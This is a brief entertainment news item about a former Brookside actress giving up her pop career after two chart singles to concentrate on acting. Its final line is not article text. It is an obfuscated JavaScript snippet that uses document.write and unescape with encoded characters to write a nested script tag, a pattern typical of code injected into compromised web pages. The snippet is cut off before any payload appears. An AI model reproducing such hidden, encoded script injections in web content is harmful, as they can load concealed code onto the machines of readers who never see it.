The former Brookside actress says she wants to concentrate on her acting career.
She said: "I gave it a good go because I've always wanted to be a singer."
Her songs Bye Bye Boy went to No12 in the charts and Baby I don't Care made it to No6 reports The Sun.
She added: "When I got into pop I found it wasn't so much about the singing as about how cool you wrere. How can you expect to be given a fair chance when no one will give your record airplay."
Jennifer has recently finished filming a prison drama for ITV1.
document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22